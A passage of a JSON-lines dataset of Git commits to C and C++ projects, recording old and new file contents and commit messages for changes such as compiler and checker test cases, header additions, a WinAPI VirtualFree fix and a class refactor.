a[8];\n  int *b;\n} * s1;\nstruct s2 {\n  int *c;\n  int d[8];\n} * s2; \n#endif\n\n#if ERROR == 3\nstruct s_with_index {\n  int __INDEX arr[8] __INDEX;\n} * s1;\n\nstruct s_with_non_array {\n  int a,b,c,d,e,f,g,h;\n} * s2;  \n#endif\n\nint main() {\n  int * __INDEX p = & gfoo.a[2]; \/\/ Force gfoo.a to have a length\n\n  \/\/ This should be Ok, but pbar->b is gfoo.a[7]\n  struct bar *pbar = (struct bar*)&gfoo;\n\n  pbar->b = 0; \n  gfoo.a[7] = 5;\n\n  printf(\"Pointer is %lx\\n\", (unsigned long)pbar->b);\n  *(pbar->b) = 0; \/\/ERROR(1): Null\n\n  s1 = s2; if (HAS_KIND(s1, WILD_KIND)) E(2); \/\/ ERROR(2):Error\n\n#if ERROR == 3\n  s1 = s2; \/\/ ERROR(3): compared with a non-array\n#endif\n\n  SUCCESS;\n}\n","subject":"Change the solver handling of arrays. Previously we were calling compat on the pointers underneath matching arrays. However, this led to problems: union { char a[8]; int b[2]; } This is in fact fine, but we'd end up with compat edges between a node pointing to char and a node pointing to int and they wouldn't be congruent so they would end up being WILD. However, if one of them is INDEX, the other should be as well. So we remember whenever an array is compared against another array and we make sure that they have the same flags. However: union { char a[4] __INDEX; int b; } Should fail. So we remember whenever an array is compared with a non-array. Later, if any such array ends up being INDEX we die with an error in the solver.","message":"Change the solver handling of arrays. Previously we were calling compat on\nthe pointers underneath matching arrays. However, this led to problems:\n  union {\n    char a[8];\n    int  b[2];\n  }\nThis is in fact fine, but we'd end up with compat edges between a node\npointing to char and a node pointing to int and they wouldn't be congruent\nso they would end up being WILD. However, if one of them is INDEX, the\nother should be as well. So we remember whenever an array is compared\nagainst another array and we make sure that they have the same flags.\nHowever:\n  union {\n    char a[4] __INDEX;\n    int b;\n  }\nShould fail. So we remember whenever an array is compared with a non-array.\nLater, if any such array ends up being INDEX we die with an error in the\nsolver.\n\nThis commit also beefs up the test-bad\/index1 testcase.\n","lang":"C","license":"bsd-3-clause","repos":"samuelhavron\/obliv-c,samuelhavron\/obliv-c,samuelhavron\/obliv-c,samuelhavron\/obliv-c"}
{"commit":"9625f1629e5a43315077d066fe32bfa8bc415715","old_file":"alura\/c\/tabuada2.c","new_file":"alura\/c\/tabuada2.c","old_contents":"","new_contents":"#include <stdio.h>\n\nvoid abertura(int m) {\n  printf(\"Tabuada do %d\\n\", m);\n}\n\nint main() {\n\n  int multiplicador = 2;\n\n  abertura(multiplicador);\n\n  for(int i = 1; i <= 10; i++) {\n    printf(\"%d x %d = %d\\n\", multiplicador, i, multiplicador * i);\n  }\n\n}\n","subject":"Update files, Alura, Introdução a C - Parte 2, Aula 4.3","message":"Update files, Alura, Introdução a C - Parte 2, Aula 4.3\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"}
{"commit":"64a8dc5bd7c39e8ac93dc314d06aef8bba6bdd78","old_file":"test2\/parsing\/expr_if_assign.c","new_file":"test2\/parsing\/expr_if_assign.c","old_contents":"","new_contents":"\/\/ RUN: %check -e %s\n\nf(int a, int b, int dir)\n{\n\tstruct\n\t{\n\t\tint x, y;\n\t} c = { };\n\n\ta & b ? c.x += dir : c.y += dir; \/\/ CHECK: error: assignment to int\/if - not an lvalue\n}\n","subject":"Test for parsing assignment in a ?:'s rhs","message":"Test for parsing assignment in a ?:'s rhs\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"7ed253755ce6b40f7b88662723aeff2d62e52336","old_file":"src\/lib\/VSDXDocumentStructure.h","new_file":"src\/lib\/VSDXDocumentStructure.h","old_contents":"","new_contents":"\/* libvisio\n * Copyright (C) 2011 Fridrich Strba <fridrich.strba@bluewin.ch>\n * Copyright (C) 2011 Eilidh McAdam <tibbylickle@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA  02111-1301 USA\n *\/\n\n#ifndef VSDXDOCUMENTSTRUCTURE_H\n#define VSDXDOCUMENTSTRUCTURE_H\n \n\n#endif \/* VSDXDOCUMENTSTRUCTURE_H *\/\n","subject":"Add an empty header that will contain defines concerning the document structure","message":"Add an empty header that will contain defines concerning the document structure\n","lang":"C","license":"mpl-2.0","repos":"LibreOffice\/libvisio,LibreOffice\/libvisio,sdteffen\/libvisio,sdteffen\/libvisio,LibreOffice\/libvisio,sdteffen\/libvisio,sdteffen\/libvisio"}
{"commit":"6fe16f4a387a58169ee4fa48c25d76c362a41d6a","old_file":"Sub-Terra\/include\/Renderer.h","new_file":"Sub-Terra\/include\/Renderer.h","old_contents":"#pragma once\n\n#include <boost\/container\/vector.hpp>\n#include \"System.h\"\n\nclass Renderer : public System {\nprotected:\n\tuint16_t width = 1280;\n\tuint16_t height = 720;\n\tDecimal fovPlus = glm::radians(10.0f);\n\tDecimal zNear = 0.05f;\n\tDecimal zFar = 48.0f;\n\tDecimal pixelDistanceFromScreen = 1000.0f;\npublic:\n\tbool showFPS = false;\n\tuint32_t time = 0;\n\n\tstatic bool IsSupported() { return false; }\n\tRenderer(Polar *engine) : System(engine) {}\n\n\tvirtual void MakePipeline(const boost::container::vector<std::string> &) = 0;\n\tvirtual void SetClearColor(const Point4 &) = 0;\n\tvirtual Decimal GetUniformDecimal(const std::string &, const Decimal = 0) = 0;\n\tvirtual Point3 GetUniformPoint3(const std::string &, const Point3 = Point3(0)) = 0;\n\tvirtual void SetUniform(const std::string &, glm::uint32) = 0;\n\tvirtual void SetUniform(const std::string &, Decimal) = 0;\n\tvirtual void SetUniform(const std::string &, Point3) = 0;\n};\n","new_contents":"#pragma once\n\n#include <boost\/container\/vector.hpp>\n#include \"System.h\"\n\nclass Renderer : public System {\nprotected:\n\tuint16_t width = 1280;\n\tuint16_t height = 720;\n\tDecimal fovPlus = glm::radians(10.0f);\n\tDecimal zNear = 0.05f;\n\tDecimal zFar = 48.0f;\n\tDecimal pixelDistanceFromScreen = 1000.0f;\npublic:\n\tbool showFPS = false;\n\tuint32_t time = 0;\n\n\tstatic bool IsSupported() { return false; }\n\tRenderer(Polar *engine) : System(engine) {}\n\n\tinline uint16_t GetWidth() { return width; }\n\tinline uint16_t GetHeight() { return height; }\n\n\tvirtual void MakePipeline(const boost::container::vector<std::string> &) = 0;\n\tvirtual void SetClearColor(const Point4 &) = 0;\n\tvirtual Decimal GetUniformDecimal(const std::string &, const Decimal = 0) = 0;\n\tvirtual Point3 GetUniformPoint3(const std::string &, const Point3 = Point3(0)) = 0;\n\tvirtual void SetUniform(const std::string &, glm::uint32) = 0;\n\tvirtual void SetUniform(const std::string &, Decimal) = 0;\n\tvirtual void SetUniform(const std::string &, Point3) = 0;\n};\n","subject":"Add getters for width\/height of renderer","message":"Add getters for width\/height of renderer\n","lang":"C","license":"mpl-2.0","repos":"polar-engine\/polar,shockkolate\/polar4,polar-engine\/polar,shockkolate\/polar4,shockkolate\/polar4,shockkolate\/polar4"}
{"commit":"2f947132e0af53bcb7863629589e989d8c6262f2","old_file":"packages\/Python\/lldbsuite\/test\/functionalities\/swift-runtime-reporting\/abi-v2\/library.h","new_file":"packages\/Python\/lldbsuite\/test\/functionalities\/swift-runtime-reporting\/abi-v2\/library.h","old_contents":"\/\/ library.h\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/ -----------------------------------------------------------------------------\n\n\/\/ From swift's include\/swift\/Runtime\/Debug.h file.\nstruct RuntimeErrorDetails {\n  uintptr_t version;\n  const char *errorType;\n  const char *currentStackDescription;\n  uintptr_t framesToSkip;\n  void *memoryAddress;\n\n  struct Thread {\n    const char *description;\n    uint64_t threadID;\n    uintptr_t numFrames;\n    void **frames;\n  };\n\n  uintptr_t numExtraThreads;\n  Thread *threads;\n\n  struct FixIt {\n    const char *filename;\n    uintptr_t startLine;\n    uintptr_t startColumn;\n    uintptr_t endLine;\n    uintptr_t endColumn;\n    const char *replacementText;\n  };\n\n  struct Note {\n    const char *description;\n    uintptr_t numFixIts;\n    FixIt *fixIts;\n  };\n\n  uintptr_t numFixIts;\n  FixIt *fixIts;\n\n  uintptr_t numNotes;\n  Note *notes;\n};\n\nenum: uintptr_t {\n  RuntimeErrorFlagNone = 0,\n  RuntimeErrorFlagFatal = 1 << 0\n};\n\nextern \"C\"\nvoid _swift_runtime_on_report(uintptr_t flags, const char *message, RuntimeErrorDetails *details);\n","new_contents":"\/\/ library.h\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/ -----------------------------------------------------------------------------\n\n#include <stdint.h>\n\n\/\/ From swift's include\/swift\/Runtime\/Debug.h file.\nstruct RuntimeErrorDetails {\n  uintptr_t version;\n  const char *errorType;\n  const char *currentStackDescription;\n  uintptr_t framesToSkip;\n  void *memoryAddress;\n\n  struct Thread {\n    const char *description;\n    uint64_t threadID;\n    uintptr_t numFrames;\n    void **frames;\n  };\n\n  uintptr_t numExtraThreads;\n  Thread *threads;\n\n  struct FixIt {\n    const char *filename;\n    uintptr_t startLine;\n    uintptr_t startColumn;\n    uintptr_t endLine;\n    uintptr_t endColumn;\n    const char *replacementText;\n  };\n\n  struct Note {\n    const char *description;\n    uintptr_t numFixIts;\n    FixIt *fixIts;\n  };\n\n  uintptr_t numFixIts;\n  FixIt *fixIts;\n\n  uintptr_t numNotes;\n  Note *notes;\n};\n\nenum: uintptr_t {\n  RuntimeErrorFlagNone = 0,\n  RuntimeErrorFlagFatal = 1 << 0\n};\n\nextern \"C\"\nvoid _swift_runtime_on_report(uintptr_t flags, const char *message, RuntimeErrorDetails *details);\n","subject":"Include the necessary headers to make the swift-runtime-reporting test work.","message":"[testsuite] Include the necessary headers to make the swift-runtime-reporting test work.\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb"}
{"commit":"2f7233f074e58e9d8690af8ca2c3aa6a61661819","old_file":"projects\/com.oracle.truffle.llvm.test\/tests\/c\/address-to-function-ptr-call.c","new_file":"projects\/com.oracle.truffle.llvm.test\/tests\/c\/address-to-function-ptr-call.c","old_contents":"","new_contents":"void abort();\n\nint add(int a, int b) { return a + b; }\nint sub(int a, int b) { return a - b; }\nint mul(int a, int b) { return a * b; }\nint div(int a, int b) { return a \/ b; }\n\nint rem(int a, int b) { return a % b; }\n\nlong *arr[5] = {(long *)&add, (long *)&sub, (long *)&mul, (long *)&div, (long *)&rem };\n\nint main() {\n  int i;\n  int sum = 0;\n  for (i = 0; i < 10000; i++) {\n    int (*p)(int x, int y) = (int (*)(int x, int y))arr[i % 5];\n    sum += p(i, 2);\n  }\n  if (sum != 44991000) {\n    abort();\n  }\n}\n","subject":"Add test case for casting addresses to function pointers","message":"Add test case for casting addresses to function pointers\n","lang":"C","license":"bsd-3-clause","repos":"lxp\/sulong,PrinzKatharina\/sulong,lxp\/sulong,lxp\/sulong,crbb\/sulong,PrinzKatharina\/sulong,crbb\/sulong,lxp\/sulong,PrinzKatharina\/sulong,crbb\/sulong,PrinzKatharina\/sulong,crbb\/sulong"}
{"commit":"71c0305e5ae4e2734e92d3760992a3856b62f6be","old_file":"inc\/osvr\/Server\/ServerPtr.h","new_file":"inc\/osvr\/Server\/ServerPtr.h","old_contents":"\/** @file\n    @brief Header\n\n    @date 2014\n\n    @author\n    Ryan Pavlik\n    <ryan@sensics.com>\n    <http:\/\/sensics.com>\n*\/\n\n\/\/ Copyright 2014 Sensics, Inc.\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ (Final version intended to be licensed under\n\/\/ the Apache License, Version 2.0)\n\n#ifndef INCLUDED_ServerPtr_h_GUID_ED06F093_FC19_49B1_8905_16E7CE12D207\n#define INCLUDED_ServerPtr_h_GUID_ED06F093_FC19_49B1_8905_16E7CE12D207\n\n\/\/ Internal Includes\n#include <osvr\/Util\/SharedPtr.h>\n\n\/\/ Library\/third-party includes\n\/\/ - none\n\n\/\/ Standard includes\n\/\/ - none\n\nnamespace osvr {\nnamespace server {\n    class Server;\n    \/\/\/ @brief How one should hold a Server.\n    typedef shared_ptr<Server> ServerPtr;\n} \/\/ namespace server\n} \/\/ namespace osvr\n\n#endif \/\/ INCLUDED_ServerPtr_h_GUID_ED06F093_FC19_49B1_8905_16E7CE12D207\n","new_contents":"\/** @file\n    @brief Header\n\n    @date 2014\n\n    @author\n    Ryan Pavlik\n    <ryan@sensics.com>\n    <http:\/\/sensics.com>\n*\/\n\n\/\/ Copyright 2014 Sensics, Inc.\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ (Final version intended to be licensed under\n\/\/ the Apache License, Version 2.0)\n\n#ifndef INCLUDED_ServerPtr_h_GUID_ED06F093_FC19_49B1_8905_16E7CE12D207\n#define INCLUDED_ServerPtr_h_GUID_ED06F093_FC19_49B1_8905_16E7CE12D207\n\n\/\/ Internal Includes\n#include <osvr\/Util\/SharedPtr.h>\n\n\/\/ Library\/third-party includes\n\/\/ - none\n\n\/\/ Standard includes\n\/\/ - none\n\nnamespace osvr {\nnamespace server {\n    class Server;\n    \/\/\/ @brief How one should hold a Server.\n    typedef shared_ptr<Server> ServerPtr;\n    \/\/\/ @brief How one might observe a Server without owning it.\n    typedef weak_ptr<Server> ServerWeakPtr;\n} \/\/ namespace server\n} \/\/ namespace osvr\n\n#endif \/\/ INCLUDED_ServerPtr_h_GUID_ED06F093_FC19_49B1_8905_16E7CE12D207\n","subject":"Add a weak pointer type for the server.","message":"Add a weak pointer type for the server.\n","lang":"C","license":"apache-2.0","repos":"d235j\/OSVR-Core,leemichaelRazer\/OSVR-Core,Armada651\/OSVR-Core,OSVR\/OSVR-Core,OSVR\/OSVR-Core,feilen\/OSVR-Core,OSVR\/OSVR-Core,Armada651\/OSVR-Core,d235j\/OSVR-Core,feilen\/OSVR-Core,feilen\/OSVR-Core,leemichaelRazer\/OSVR-Core,leemichaelRazer\/OSVR-Core,d235j\/OSVR-Core,OSVR\/OSVR-Core,d235j\/OSVR-Core,feilen\/OSVR-Core,Armada651\/OSVR-Core,godbyk\/OSVR-Core,godbyk\/OSVR-Core,OSVR\/OSVR-Core,feilen\/OSVR-Core,Armada651\/OSVR-Core,d235j\/OSVR-Core,godbyk\/OSVR-Core,leemichaelRazer\/OSVR-Core,leemichaelRazer\/OSVR-Core,godbyk\/OSVR-Core,OSVR\/OSVR-Core,Armada651\/OSVR-Core,godbyk\/OSVR-Core,godbyk\/OSVR-Core"}
{"commit":"7b30aba561165ee173059cd3a65c732bd5bc9056","old_file":"UIKitExtensions\/UIView\/Sizing.h","new_file":"UIKitExtensions\/UIView\/Sizing.h","old_contents":"\/\/\n\/\/  UIView+Sizing.h\n\/\/  aaah\n\/\/\n\/\/  Created by Stanislaw Pankevich on 5\/10\/13.\n\/\/  Copyright (c) 2013 IProjecting. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface UIView (Sizing)\n\n@property CGPoint origin;\n@property CGSize size;\n\n@property CGFloat x;\n@property CGFloat y;\n@property CGFloat height;\n@property CGFloat width;\n\n@property CGFloat centerX;\n@property CGFloat centerY;\n\n@end\n","new_contents":"\/\/ Inspired by FrameAccessor\n\/\/ https:\/\/github.com\/AlexDenisov\/FrameAccessor\/\n\n#import <UIKit\/UIKit.h>\n\n@interface UIView (Sizing)\n\n@property CGPoint origin;\n@property CGSize size;\n\n@property CGFloat x;\n@property CGFloat y;\n@property CGFloat height;\n@property CGFloat width;\n\n@property CGFloat centerX;\n@property CGFloat centerY;\n\n@end\n\n","subject":"Add a note about FrameAccessor","message":"Add a note about FrameAccessor\n","lang":"C","license":"mit","repos":"stanislaw\/UIKitExtensions,stanislaw\/UIKitExtensions,stanislaw\/UIKitExtensions,stanislaw\/UIKitExtensions"}
{"commit":"dc336ecfd14b0b5007ea43faa780650030fa47ae","old_file":"os\/winapi\/alloc.c","new_file":"os\/winapi\/alloc.c","old_contents":"\/\/\n\/\/ os\/winapi\/alloc.h: Low-level WinAPI-based allocators.\n\/\/\n\/\/ CEN64: Cycle-Accurate Nintendo 64 Simulator.\n\/\/ Copyright (C) 2014, Tyler J. Stachecki.\n\/\/\n\/\/ This file is subject to the terms and conditions defined in\n\/\/ 'LICENSE', which is part of this source code package.\n\/\/\n\n#include \"common.h\"\n#include \"os\/common\/alloc.h\"\n#include <stddef.h>\n#include <windows.h>\n\n\/\/ Allocates a block of (R\/W\/X) memory.\nvoid *cen64_alloc(struct cen64_mem *m, size_t size, bool exec) {\n  int access = exec ? PAGE_EXECUTE_READWRITE : PAGE_READWRITE;\n\n  if ((m->ptr = VirtualAlloc(NULL, size,\n    MEM_COMMIT | MEM_RESERVE, access)) == NULL)\n    return NULL;\n\n  m->size = size;\n  return m->ptr;\n}\n\n\/\/ Releases resources acquired by cen64_alloc_init.\nvoid cen64_alloc_cleanup(void) {\n}\n\n\/\/ Initializes CEN64's low-level allocator.\nint cen64_alloc_init(void) {\n  return 0;\n}\n\n\/\/ Releases resources acquired by cen64_alloc.\nvoid cen64_free(struct cen64_mem *m) {\n  VirtualFree(m->ptr, m->size, MEM_RELEASE);\n}\n\n","new_contents":"\/\/\n\/\/ os\/winapi\/alloc.h: Low-level WinAPI-based allocators.\n\/\/\n\/\/ CEN64: Cycle-Accurate Nintendo 64 Simulator.\n\/\/ Copyright (C) 2014, Tyler J. Stachecki.\n\/\/\n\/\/ This file is subject to the terms and conditions defined in\n\/\/ 'LICENSE', which is part of this source code package.\n\/\/\n\n#include \"common.h\"\n#include \"os\/common\/alloc.h\"\n#include <stddef.h>\n#include <windows.h>\n\n\/\/ Allocates a block of (R\/W\/X) memory.\nvoid *cen64_alloc(struct cen64_mem *m, size_t size, bool exec) {\n  int access = exec ? PAGE_EXECUTE_READWRITE : PAGE_READWRITE;\n\n  if ((m->ptr = VirtualAlloc(NULL, size,\n    MEM_COMMIT | MEM_RESERVE, access)) == NULL)\n    return NULL;\n\n  m->size = size;\n  return m->ptr;\n}\n\n\/\/ Releases resources acquired by cen64_alloc_init.\nvoid cen64_alloc_cleanup(void) {\n}\n\n\/\/ Initializes CEN64's low-level allocator.\nint cen64_alloc_init(void) {\n  return 0;\n}\n\n\/\/ Releases resources acquired by cen64_alloc.\nvoid cen64_free(struct cen64_mem *m) {\n  VirtualFree(m->ptr, 0, MEM_RELEASE);\n}\n\n","subject":"Fix a WinAPI VirtualFree bug.","message":"Fix a WinAPI VirtualFree bug.\n\nThanks go out to izy for this commit.\n","lang":"C","license":"bsd-3-clause","repos":"tj90241\/cen64,tj90241\/cen64"}
{"commit":"cacf3b0c49e4f63a8753493def5e51ac027e7350","old_file":"src\/ESPasyncJson.h","new_file":"src\/ESPasyncJson.h","old_contents":"","new_contents":"\/\/ ESPasyncJson.h\n\/*\n  Async Response to use with arduinoJson and asyncwebserver\n  Written by Andrew Melvin (SticilFace) with help from me-no-dev and BBlanchon.\n\n  example of callback in use\n\n   server.on(\"\/json\", HTTP_ANY, [](AsyncWebServerRequest * request) {\n\n    AsyncJsonResponse * response = new AsyncJsonResponse();\n    JsonObject& root = response->getRoot(); \n    root[\"key1\"] = \"key number one\";\n    JsonObject& nested = root.createNestedObject(\"nested\"); \n    nested[\"key1\"] = \"key number one\";\n\n    response->setLength();\n    request->send(response); \n  });\n\n*\/\n\n#pragma once\n#include <ArduinoJson.h> \n\n\/*\n * Json Response\n * *\/\n\nclass ChunkPrint : public Print{\n  private:\n    uint8_t* _destination;\n    size_t _to_skip;\n    size_t _to_write;\n    size_t _pos;\n  public:\n    ChunkPrint(uint8_t* destination, size_t from, size_t len)\n      : _destination(destination), _to_skip(from), _to_write(len), _pos{0} {}\n    size_t write(uint8_t c){\n      if (_to_skip > 0) {\n        _to_skip--;\n        return 0; \n      } else if (_to_write > 0) {\n        _to_write--;\n        _destination[_pos++] = c;\n        return 1; \n      }\n      return 0;\n    }\n};\n    \nclass AsyncJsonResponse: public AsyncAbstractResponse {\n  private:\n    DynamicJsonBuffer _jsonBuffer;\n    JsonVariant _root;\n    bool _isValid; \n  public:\n    AsyncJsonResponse(): _isValid{false} {\n      _code = 200;\n      _contentType = \"text\/json\";\n      _root = _jsonBuffer.createObject();\n    }\n    ~AsyncJsonResponse() {}\n    JsonVariant & getRoot() { return _root; }\n    bool _sourceValid() { return _isValid; }\n    bool setLength() { \n\n      _contentLength = _root.measureLength();\n      if (_contentLength) { _isValid = true; }\n    }\n        \n    size_t _fillBuffer(uint8_t *data, size_t len){\n      ChunkPrint dest(data, _sentLength, len); \n      _root.printTo( dest ) ;\n      return len; \n    }\n};","subject":"Add header to extend server for arduinojson","message":"Add header to extend server for arduinojson\n","lang":"C","license":"lgpl-2.1","repos":"Adam5Wu\/ESPAsyncWebServer,Adam5Wu\/ESPAsyncWebServer"}
{"commit":"e27afdfbe608809f3a7961bc980e2183540c9214","old_file":"src\/main.h","new_file":"src\/main.h","old_contents":"#pragma once\n#include <unistd.h>\n\n#include <algorithm>\n#include <exception>\n#include <iostream>\n#include <list>\n#include <map>\n#include <memory>\n#include <set>\n#include <sstream>\n#include <string>\n#include <tuple>\n#include <unordered_map>\n#include <utility>\n#include <vector>\n\nconst std::string BotVersion (\"3.0.0-devel\");\nconst unsigned int BotVersionNum = 2800;","new_contents":"#pragma once\n#include <unistd.h>\n\n#include <algorithm>\n#include <cstdarg>\n#include <exception>\n#include <functional>\n#include <iostream>\n#include <list>\n#include <map>\n#include <memory>\n#include <queue>\n#include <set>\n#include <sstream>\n#include <string>\n#include <thread>\n#include <tuple>\n#include <unordered_map>\n#include <utility>\n#include <vector>\n\nconst std::string BotVersion (\"3.0.0-devel\");\nconst unsigned int BotVersionNum = 2800;","subject":"Update includes with stuff I'll need","message":"Update includes with stuff I'll need\n","lang":"C","license":"mit","repos":"ElementalAlchemist\/RoBoBo,ElementalAlchemist\/RoBoBo"}
{"commit":"ed97a4dfa37019c451d53f7c0ad945504c41a17d","old_file":"BlackJack\/src\/Game.h","new_file":"BlackJack\/src\/Game.h","old_contents":"\/*\n * Game.h\n *\n *  Created on: 30.12.2016\n *      Author: Stefan\n *\/\n\n#include \"Deck.h\"\n#include \"Dealer.h\"\n#include <memory>\n#include \"GlobalDeclarations.h\"\n#include \"PlayerStrategy.h\"\n\n#ifndef GAME_H_\n#define GAME_H_\n\n\/\/ Class game is the glue code which binds all other classes together.\n\/\/ It guides the game.\nclass Game {\n\tusing pPlayer = std::unique_ptr<Player>;\n\npublic:\n\tGame () : _deck(), _dealer(_deck), _players() {}\n\t\/\/ Not allowed to copy or assign game\n\tGame(Game const &) = delete ;\n\tvoid operator=(Game const&) = delete;\n\n\tvoid AddDecks();\n\tvoid PlayRound();\n\tvoid GetStartCards();\n\tvoid PlayCards();\n\tvoid Evaluate();\n\tvoid PutCardsBack();\n\tvoid RemoveBrokePlayers();\n\tvoid PrintNumPlayers () const;\n\n\tvirtual void SetWagers() = 0;\n\tvirtual bool PlayAnotherRound () const = 0;\n\nprotected:\n\tvirtual ~Game(){}; \/\/ Not allowed to polymorphic delete derivatives\n\n\tDeck _deck;\n\tDealer _dealer;\n\t\/\/ Players are pointers to avoid issues with card pointers\n\tstd::vector<pPlayer> _players;\n};\n\n#endif \/* GAME_H_ *\/\n","new_contents":"\/*\n * Game.h\n *\n *  Created on: 30.12.2016\n *      Author: Stefan\n *\/\n\n#include \"Deck.h\"\n#include \"Dealer.h\"\n#include <memory>\n#include \"GlobalDeclarations.h\"\n#include \"PlayerStrategy.h\"\n\n#ifndef GAME_H_\n#define GAME_H_\n\n\/\/ Class game is the glue code which binds all other classes together.\n\/\/ It guides the game.\nclass Game {\n\tusing pPlayer = std::unique_ptr<Player>;\n\npublic:\n\tGame () : _deck(), _dealer(_deck), _players() {}\n\t\/\/ Not allowed to copy or assign game\n\tGame(Game const &) = delete ;\n\tvoid operator=(Game const&) = delete;\n\n\tvoid AddDecks();\n\tvoid PlayRound();\n\tvirtual bool PlayAnotherRound () const = 0;\n\n\tvoid PrintNumPlayers () const;\n\n\nprotected:\n\tvirtual ~Game(){}; \/\/ Not allowed to polymorphic delete derivatives\n\n\tvirtual void SetWagers() = 0;\n\n\tDeck _deck;\n\tDealer _dealer;\n\t\/\/ Players are pointers to avoid issues with card pointers\n\tstd::vector<pPlayer> _players;\nprivate:\n\tvoid GetStartCards();\n\tvoid PlayCards();\n\tvoid Evaluate();\n\tvoid PutCardsBack();\n\tvoid RemoveBrokePlayers();\n\n};\n\n#endif \/* GAME_H_ *\/\n","subject":"Move functions in correct sectors in game class.","message":"Move functions in correct sectors in game class.\n","lang":"C","license":"mit","repos":"saccharios\/BlackJack,saccharios\/BlackJack,saccharios\/BlackJack"}
{"commit":"6490f5fb931aa08df00017cb19a08456cd0cdc5b","old_file":"tests\/stream_redirector.h","new_file":"tests\/stream_redirector.h","old_contents":"","new_contents":"#include <libmesh\/libmesh.h>\n\n\/**\n * This class uses RAII to control redirecting the libMesh::err stream\n * to NULL and restoring it around some operation where we do not want\n * to see output to the screen.\n *\/\nclass StreamRedirector\n{\npublic:\n\n  \/**\n   * Constructor; saves the original libMesh::err streambuf.\n   *\/\n  StreamRedirector()\n    : _errbuf(libMesh::err.rdbuf())\n  {\n    libMesh::err.rdbuf(libmesh_nullptr);\n  }\n\n  \/**\n   * Destructor: restores the stream.\n   *\/\n  ~StreamRedirector()\n  {\n    libMesh::err.rdbuf(_errbuf);\n  }\n\nprivate:\n  std::streambuf * _errbuf;\n};\n","subject":"Add StreamRedirector class to handle stream resetting with RAII.","message":"Add StreamRedirector class to handle stream resetting with RAII.\n","lang":"C","license":"lgpl-2.1","repos":"vikramvgarg\/libmesh,balborian\/libmesh,dschwen\/libmesh,svallaghe\/libmesh,hrittich\/libmesh,vikramvgarg\/libmesh,balborian\/libmesh,pbauman\/libmesh,capitalaslash\/libmesh,roystgnr\/libmesh,capitalaslash\/libmesh,giorgiobornia\/libmesh,giorgiobornia\/libmesh,giorgiobornia\/libmesh,balborian\/libmesh,hrittich\/libmesh,libMesh\/libmesh,hrittich\/libmesh,90jrong\/libmesh,libMesh\/libmesh,BalticPinguin\/libmesh,BalticPinguin\/libmesh,90jrong\/libmesh,svallaghe\/libmesh,hrittich\/libmesh,dschwen\/libmesh,vikramvgarg\/libmesh,jwpeterson\/libmesh,libMesh\/libmesh,jwpeterson\/libmesh,balborian\/libmesh,vikramvgarg\/libmesh,vikramvgarg\/libmesh,roystgnr\/libmesh,90jrong\/libmesh,90jrong\/libmesh,roystgnr\/libmesh,giorgiobornia\/libmesh,svallaghe\/libmesh,roystgnr\/libmesh,pbauman\/libmesh,svallaghe\/libmesh,vikramvgarg\/libmesh,capitalaslash\/libmesh,libMesh\/libmesh,dschwen\/libmesh,giorgiobornia\/libmesh,90jrong\/libmesh,svallaghe\/libmesh,hrittich\/libmesh,BalticPinguin\/libmesh,jwpeterson\/libmesh,capitalaslash\/libmesh,svallaghe\/libmesh,pbauman\/libmesh,hrittich\/libmesh,dschwen\/libmesh,balborian\/libmesh,roystgnr\/libmesh,BalticPinguin\/libmesh,roystgnr\/libmesh,dschwen\/libmesh,pbauman\/libmesh,roystgnr\/libmesh,capitalaslash\/libmesh,giorgiobornia\/libmesh,balborian\/libmesh,jwpeterson\/libmesh,balborian\/libmesh,hrittich\/libmesh,balborian\/libmesh,libMesh\/libmesh,hrittich\/libmesh,libMesh\/libmesh,BalticPinguin\/libmesh,libMesh\/libmesh,capitalaslash\/libmesh,pbauman\/libmesh,pbauman\/libmesh,90jrong\/libmesh,vikramvgarg\/libmesh,svallaghe\/libmesh,jwpeterson\/libmesh,jwpeterson\/libmesh,pbauman\/libmesh,dschwen\/libmesh,pbauman\/libmesh,pbauman\/libmesh,balborian\/libmesh,svallaghe\/libmesh,giorgiobornia\/libmesh,svallaghe\/libmesh,90jrong\/libmesh,BalticPinguin\/libmesh,90jrong\/libmesh,vikramvgarg\/libmesh,capitalaslash\/libmesh,libMesh\/libmesh,jwpeterson\/libmesh,BalticPinguin\/libmesh,jwpeterson\/libmesh,giorgiobornia\/libmesh,90jrong\/libmesh,roystgnr\/libmesh,capitalaslash\/libmesh,giorgiobornia\/libmesh,vikramvgarg\/libmesh,dschwen\/libmesh,BalticPinguin\/libmesh,hrittich\/libmesh,balborian\